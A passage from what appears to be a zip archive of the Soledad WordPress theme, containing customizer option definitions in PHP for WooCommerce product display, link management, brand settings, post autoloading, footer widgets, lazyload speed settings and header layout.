	'choices'     => array(
		'style-1' => __('Style 1','soledad' ),
		'style-2' => __('Style 2','soledad' ),
		'style-3' => __('Style 3','soledad' ),
		'style-4' => __('Style 4','soledad' ),
		'style-5' => __('Style 5','soledad' ),
	)
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Item Style', 'soledad' ),
	'description' => __( 'Select the style of the product showing on shop/archive/categories/tags/search<br/>.', 'soledad' ),
	'id'          => 'penci_woocommerce_product_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard' => __('Default','soledad' ),
		'style-1'  => __('Style 1','soledad' ),
		'style-2'  => __('Style 2','soledad' ),
		'style-3'  => __('Style 3','soledad' ),
		'style-4'  => __('Style 4','soledad' ),
		'style-5'  => __('Style 5','soledad' ),
		'style-6'  => __('Style 6','soledad' ),
		'style-7'  => __('Style 7','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woocommerce_product_icon_hover_style',
	'default'     => 'round',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Style', 'soledad' ),
	'description' => __( 'Select icon hover style on Product Item', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'round' => __('Separate Round','soledad' ),
		'group' => __('Group in Rectangle','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woocommerce_product_icon_hover_position',
	'default'     => 'top-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Position', 'soledad' ),
	'description' => __( 'Select icon hover position on Product Item', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top-left'      => __('Top left','soledad' ),
		'top-right'     => __('Top Right','soledad' ),
		'bottom-left'   => __('Bottom Left','soledad' ),
		'bottom-right'  => __('Bottom Right','soledad' ),
		'center-top'    => __('Center Top','soledad' ),
		'center-center' => __('Center Center','soledad' ),
		'center-bottom' => __('Center Bottom','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woocommerce_product_icon_hover_animation',
	'default'     => 'move-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Animation', 'soledad' ),
	'description' => __( 'Select icon hover animation on Product Item', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'move-left'   => __('Move to left','soledad' ),
		'move-right'  => __('Move to Right','soledad' ),
		'move-top'    => __('Move to Top','soledad' ),
		'move-bottom' => __('Move to Bottom','soledad' ),
		'fade'        => __('Fade In','soledad' ),
		'zoom'        => __('Zoom In','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_woocommerce_product_hover_img',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Hover Image on Product Catalog ?', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product category ?', 'soledad' ),
	'description' => __( 'Display product category link below the product title.', 'soledad' ),
	'id'          => 'penci_woocommerce_loop_category',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woocommerce_loop_rating',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product star rating ?', 'soledad' ),
	'description' => __( 'Display product loop rating below the product title.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Login to see add to cart and prices', 'soledad' ),
	'description' => __( 'You can restrict shopping functions only for logged in customers.', 'soledad' ),
	'id'          => 'penci_woocommerce_restrict_cart_price',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Quick Select Options on Product', 'soledad' ),
	'description' => __( 'Allow customers purchase product on hover content.', 'soledad' ),
	'id'          => 'penci_woocommerce_product_quick_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Title Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product title you want to display',
	'id'       => 'penci_woo_limit_product_title',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_woo_limit_product_excerpt',
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Excerpt Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product summary you want to display',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_excerpt',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
if ( function_exists( 'penci_product_attributes_array' ) ) {
	$options[] = array(
		'id'          => 'penci_woocommerce_grid_swatch',
		'default'     => false,
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Grid swatch attribute to display', 'soledad' ),
		'description' => __( 'Choose the attribute that will be shown on the product grid.', 'soledad' ),
		'type'        => 'soledad-fw-ajax-select',
		'choices'     => penci_product_attributes_array(),
	);
}
$options[] = array(
	'id'       => 'penci_woocommerce_grid_swatch_limit',
	'default'  => '5',
	'sanitize' => 'absint',
	'label'    => __( 'Limit swatches on grid ', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woocommerce_grid_swatch_cache',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Product Swatches Shop Cache', 'soledad' ),
	'description' => __( 'By default, Soledad using cache to speed up Query for swatch image. Uncheck this option to disable/debug.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_catalog_heading_4',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Columns Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'          => 'penci_shop_cat_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Columns', 'soledad' ),
	'description' => __( 'How many category should be shown per row on section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_cat_display_type',
	'default'     => 'grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Display Style', 'soledad' ),
	'description' => __( 'Select the category displays style on shop/category page', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'     => __('Grid','soledad' ),
		'carousel' => __('Carousel','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_product_columns',
	'default'     => 3,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Desktop', 'soledad' ),
	'description' => __( 'How many products should be shown per row on desktop ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_product_mobile_columns',
	'default'     => 2,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products per row on Mobile', 'soledad' ),
	'description' => __( 'How many products should be shown per row on mobile ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		1 => __('1 Column','soledad' ),
		2 => __('2 Columns','soledad' ),
	)
);

return $options;
PK     0w\,υ    8  customizer/config/sections/penci_linkmanager_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_linkmg_external_link_heading',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'External links', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_linkmg_external_link_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable for External links', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_linkmg_external_link_target',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Open external links:', 'soledad' ),
	'choices'  => [
		''       => __( 'Keep default', 'soledad' ),
		'_self'  => __( 'in the same window, tab or frame', 'soledad' ),
		'_blank' => __( 'each in a separate new window or tab', 'soledad' ),
		'_new'   => __( 'all in the same new window or tab (NOT recommended)', 'soledad' ),
		'_top'   => __( 'in the topmost frame (NOT recommended)', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_external_link_rel_follow',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Follow Options:', 'soledad' ),
	'choices'  => [
		''         => __( 'Keep default', 'soledad' ),
		'follow'   => __( 'follow', 'soledad' ),
		'nofollow' => __( 'nofollow', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_external_rel_options',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-multi-check',
	'label'    => esc_html__( 'Add to rel attribute:', 'soledad' ),
	'choices'  => [
		'rel_noopener'   => [ 'name' => __( 'Add "noopener"', 'soledad' ), 'value' => 'rel_noopener' ],
		'rel_noreferrer' => [ 'name' => __( 'Add "noreferrer"', 'soledad' ), 'value' => 'rel_noreferrer' ],
		'rel_external'   => [ 'name' => __( 'Add "external"', 'soledad' ), 'value' => 'rel_external' ],
		'rel_sponsored'  => [ 'name' => __( 'Add "sponsored"', 'soledad' ), 'value' => 'rel_sponsored' ],
		'rel_ugc'        => [ 'name' => __( 'Add "ugc"', 'soledad' ), 'value' => 'rel_ugc' ],
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_heading',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Interal links', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable for Internal links', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_target',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Open external links:', 'soledad' ),
	'choices'  => [
		''       => __( 'Keep default', 'soledad' ),
		'_self'  => __( 'in the same window, tab or frame', 'soledad' ),
		'_blank' => __( 'each in a separate new window or tab', 'soledad' ),
		'_new'   => __( 'all in the same new window or tab (NOT recommended)', 'soledad' ),
		'_top'   => __( 'in the topmost frame (NOT recommended)', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_link_rel_follow',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Follow Options:', 'soledad' ),
	'choices'  => [
		''         => __( 'Keep default', 'soledad' ),
		'follow'   => __( 'follow', 'soledad' ),
		'nofollow' => __( 'nofollow', 'soledad' ),
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_interal_rel_options',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-multi-check',
	'label'    => esc_html__( 'Add to rel attribute:', 'soledad' ),
	'choices'  => [
		'rel_noopener'   => [ 'name' => __( 'Add "noopener"', 'soledad' ), 'value' => 'rel_noopener' ],
		'rel_noreferrer' => [ 'name' => __( 'Add "noreferrer"', 'soledad' ), 'value' => 'rel_noreferrer' ],
	],
);
$options[] = array(
	'id'       => 'penci_linkmg_exceptions_heading',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Exceptions Links', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_ids',
	'label'       => __( 'Skip pages or posts (id\'s):', 'soledad' ),
	'description' => __( 'Separate postID/pageID by comma.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_class',
	'label'       => __( 'Ignore links by class', 'soledad' ),
	'description' => __( 'Separate classes by comma.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_subdomain',
	'label'       => __( 'Make subdomains internal', 'soledad' ),
	'description' => __( 'Treat all links to the site\'s domain and subdomains as internal links', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_ieurl',
	'label'       => __( 'Include external links by URL', 'soledad' ),
	'description' => __( 'Separate url\'s by comma and/or a line break. Write the url\'s as specific as you want them to match.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_linkmg_exceptions_eeurl',
	'label'       => __( 'Exclude external links by URL', 'soledad' ),
	'description' => __( 'Separate url\'s by comma and/or a line break. Write the url\'s as specific as you want them to match.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);

return $options;PK     0w\l    E  customizer/config/sections/pencidesign_woo_brand_settings_section.phpnu [        <?php
$options = [];
if ( function_exists( 'penci_product_attributes_array' ) ) {
	$options[] = array(
		'default'     => false,
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Brand attribute', 'soledad' ),
		'description' => __( 'If you want to show brand image on your product page select desired attribute here', 'soledad' ),
		'id'          => 'penci_woocommerce_brand_attr',
		'type'        => 'soledad-fw-select',
		'choices'     => penci_product_attributes_array(),
	);
}
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show brand on the single product page', 'soledad' ),
	'description' => __( 'You can disable/enable products brand image on the single page .', 'soledad' ),
	'id'          => 'penci_woocommerce_brand',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show tab with brand information', 'soledad' ),
	'description' => __( 'If enabled you will see an additional tab with brand description on the single product page. Text will be taken from the "Description" field for each brand (attribute term).', 'soledad' ),
	'id'          => 'penci_woocommerce_brand_tab',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Use brand name for tab title', 'soledad' ),
	'description' => __( 'If you enable this option, the tab with the brand information will be called "About [Brand name]"..', 'soledad' ),
	'id'          => 'penci_woocommerce_brand_tab_title',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woocommerce_brand_display',
	'default'     => 'summary',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Brand Display Position', 'soledad' ),
	'description' => __( 'Select the brand logo placement you want to display at single product', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top'     => esc_attr__( 'Top', 'soledad' ),
		'summary' => esc_attr__( 'Summary', 'soledad' ),
	),
);

return $options;
PK     0w\?.L  L  C  customizer/config/sections/penci_section_spost_autoload_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Infinity Scrolling Load Posts', 'soledad' ),
	'id'       => 'penci_loadnp_posts',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => 'prev',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Load Posts Type', 'soledad' ),
	'id'          => 'penci_loadnp_type',
	'description'=>'',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'prev'     => __('Previous Posts','soledad' ),
		'next'     => __('Next Posts','soledad' ),
		'prev_cat' => __('Previous Posts has Same Categories','soledad' ),
		'next_cat' => __('Next Posts has Same Categories','soledad' ),
		'prev_tag' => __('Previous Posts has Same Tags','soledad' ),
		'next_tag' => __('Next Posts has Same Tags','soledad' ),
	)
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Specific Posts from Loads', 'soledad' ),
	'id'          => 'penci_loadnp_exclude',
	'description' => __( 'Exclude Posts by ID Separated by the comma. E.g: 12, 22, 335. You can check <a class="wp-customizer-link" href="https://pagely.com/blog/find-post-id-wordpress/" target="_blank">this guide</a> to know how to find the ID of a post', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Google Adsense/Custom HTML code Between Posts When Load Posts', 'soledad' ),
	'description' => __( 'If you use Google Ads here, please use normal Google Ads here - don\'t use Google Auto Ads to get it appears in the correct place.', 'soledad' ),
	'id'          => 'penci_loadnp_ads',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Loading Icon', 'soledad' ),
	'id'       => 'penci_loadnp_ldscolor',
);

return $options;
PK     0w\%  %  C  customizer/config/sections/penci_section_footer_widgets_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __('Disable Footer Widget Area','soledad'),
	'id'       => 'penci_footer_widget_area',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __('Footer Widget Area Columns Layout','soledad'),
	'id'       => 'penci_footer_widget_area_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1'  => '1/3 + 1/3 + 1/3',
		'style-2'  => '1/3 + 2/3',
		'style-3'  => '2/3 + 1/3',
		'style-4'  => '1/4 + 1/4 + 1/4 + 1/4',
		'style-5'  => '2/4 + 1/4 + 1/4',
		'style-6'  => '1/4 + 2/4 + 1/4',
		'style-7'  => '1/4 + 1/4 + 2/4',
		'style-8'  => '1/4 + 3/4',
		'style-9'  => '3/4 + 1/4',
		'style-10' => '1/2 + 1/2',
	),
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_footer_widget_padding',
	'label'    => __( 'Footer Widget Area Padding Top & Bottom', 'soledad' ),
	'desktop'  => 'penci_footer_widget_padding',
	'default'  => '60',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_footer_widget_padding',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
			'default'  => '60',
		),
	),
);
$options[] = array(
	'label'    => __('Align Center Footer Widget Title','soledad'),
	'id'       => 'penci_footer_widget_title_center',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Font Size for Footer Widget Titles', 'soledad' ),
	'id'       => 'penci_footer_widget_titlefsize',
	'ids'      => [
		'desktop' => 'penci_footer_widget_titlefsize'
	],
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
			'default'  => '14',
		),
	),
);

return $options;
PK     0w\'>  >  B  customizer/config/sections/penci_section_speed_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Activate optimize CSS/JS for logged in users?', 'soledad' ),
	'id'       => 'penci_speed_disable_cssjs',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Emoji and Smilies', 'soledad' ),
	'id'       => 'penci_speed_disable_emoji',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove query strings from static resource', 'soledad' ),
	'description' => __( 'Remove query strings for non-login & non-administrator users', 'soledad' ),
	'id'          => 'penci_speed_remove_query_string',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove wlwmanifest Link', 'soledad' ),
	'description' => __( 'If you do not use Windows Live Writer, you can disable it.', 'soledad' ),
	'id'          => 'penci_speed_remove_wlwmanifest',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove XML-RPC and RSD Link', 'soledad' ),
	'description' => __( 'Check <a class="wp-customizer-link" href="https://codex.wordpress.org/XML-RPC_Support" target="_blank">this post</a> and <a class="wp-customizer-link" target="_blank" href="https://developer.wordpress.org/reference/functions/rsd_link/">this post</a> to understand what is it. In most cases, its not needed, so if you dont need it, you can remove it.', 'soledad' ),
	'id'          => 'penci_speed_remove_xml_rsd',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Lazyload Images', 'soledad' ),
	'id'          => 'penci_section_speed_lazy_heading',
	'description' => __( "This theme supports lazyload images from itself. But, if you want to use lazyload images from another plugin - let disable the lazyload images below to get it works. But, If you want to use the optimise speed features from our theme, using the lazy load images feature from our theme is required.", "soledad" ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delay all images loading in the first screen to optimize LCP value', 'soledad' ),
	'id'       => 'penci_speed_disable_first_screen',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable LazyLoad Images on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_disable_lazy',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazy Load Images on Sliders', 'soledad' ),
	'id'       => 'penci_disable_lazyload_slider',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazyload Images on All Posts Layouts & Widgets', 'soledad' ),
	'id'       => 'penci_disable_lazyload_layout',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazyload for Featured Image on Single Posts/Pages', 'soledad' ),
	'id'       => 'penci_disable_lazyload_fsingle',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lazyload Images on Single Posts', 'soledad' ),
	'id'       => 'penci_disable_lazyload_single',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Lazyload for All Iframes', 'soledad' ),
	'id'          => 'penci_disable_lazyload_iframe',
	'description' => __( "Note that: Lazyload iframes just apply when you activate optimize CSS", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Youtube Thumbnail Size', 'soledad' ),
	'id'       => 'penci_youtube_thumbnail_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'maxresdefault' => __( 'Max Resolution', 'soledad' ),
		'hqdefault'     => __( 'High Quality', 'soledad' ),
		'mqdefault'     => __( 'Medium Quality', 'soledad' ),
		'sddefault'     => __( 'Standard Quality', 'soledad' ),
	),
);
$options[] = array(
	'id'          => 'penci_disable_lazyload_extra',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Custom CSS Classes from Lazyload', 'soledad' ),
	'description' => __( "Enter one per line to exclude certain CSS class from this optimizations OR a part of image/iframe URL. Examples: <strong>my-css-class</strong>", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Lazyload Effects', 'soledad' ),
	'id'       => 'penci_section_speed_lazy_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Lazyloaded Effect', 'soledad' ),
	'id'       => 'penci_lazyloaded_effect',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'None', 'soledad' ),
		'style-1' => __( 'Fade In', 'soledad' ),
		'style-2' => __( 'Zoom In & Blur', 'soledad' ),
		'style-3' => __( 'Blur', 'soledad' ),
	),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
);

return $options;
PK     0w\0I/  /  F  customizer/config/sections/pencidesign_logo_header_general_section.phpnu [        <?php
$options               = [];
$header_layout_options = array(
	'header-1'  => __( 'Header 1', 'soledad' ),
	'header-2'  => __( 'Header 2', 'soledad' ),
	'header-3'  => __( 'Header 3', 'soledad' ),
	'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
	'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
	'header-6'  => __( 'Header 6', 'soledad' ),
	'header-7'  => __( 'Header 7', 'soledad' ),
	'header-8'  => __( 'Header 8', 'soledad' ),
	'header-9'  => __( 'Header 9', 'soledad' ),
	'header-10' => __( 'Header 10', 'soledad' ),
	'header-11' => __( 'Header 11', 'soledad' ),
);
$options[]             = array(
	'default'  => 'header-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Header Layout', 'soledad' ),
	'id'       => 'penci_header_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => $header_layout_options,
);
$options[]             = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Header Container Width', 'soledad' ),
	'id'       => 'penci_header_ctwidth',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''          => esc_html__( 'Width: 1170px', 'soledad' ),
		'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
		'fullwidth' => esc_html__( 'FullWidth', 'soledad' ),
	)
);
$options[]             = array(
	'sanitize'    => 'esc_url_raw',
	'type'        => 'soledad-fw-image',
	'label'       => __( 'Banner Header Right For Header 3', 'soledad' ),
	'id'          => 'penci_header_3_banner',
	'description' => __( 'You should choose banner with 728px width and 90px - 100px height for the best result', 'soledad' ),
);
$options[]             = array(
	'default'     => '#',
	'sanitize'    => 'esc_url_raw',
	'label'       => __( 'Link To Go When Click Banner Header Right on Header 3', 'soledad' ),
	'id'          => 'penci_header_3_banner_url',
	'description' => '',
	'type'        => 'soledad-fw-text',
);
$options[]             = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Google adsense/custom HTML code to display in header 3', 'soledad' ),
	'id'          => 'penci_header_3_adsense',
	'description' => __( 'If you want use google adsense/custom HTML code in header style 3, paste your google adsense/custom HTML code here', 'soledad' ),
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[]             = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove Border Bottom on The Header', 'soledad' ),
	'id'          => 'penci_remove_border_bottom_header',
	'description' => __( 'This option just apply for header styles 1, 4, 7', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Header Social Icons', 'soledad' ),
	'id'       => 'penci_header_social_check',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Use Brand Colors for Social Icons on Header', 'soledad' ),
	'id'       => 'penci_header_social_brand',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Font Size for Social Icons', 'soledad' ),
	'id'       => 'penci_size_header_social_check',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_size_header_social_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Top Instagram Widget Title Overlay Images', 'soledad' ),
	'id'       => 'penci_top_insta_overlay_image',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Instagram Icon on Top Instagram Widget', 'soledad' ),
	'id'       => 'penci_top_insta_hide_icon',
	'type'     => 'soledad-fw-toggle',
);
$options[]             = array(
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Add Custom Code Inside <head> tag', 'soledad' ),
	'id'        => 'penci_custom_code_inside_head_tag',
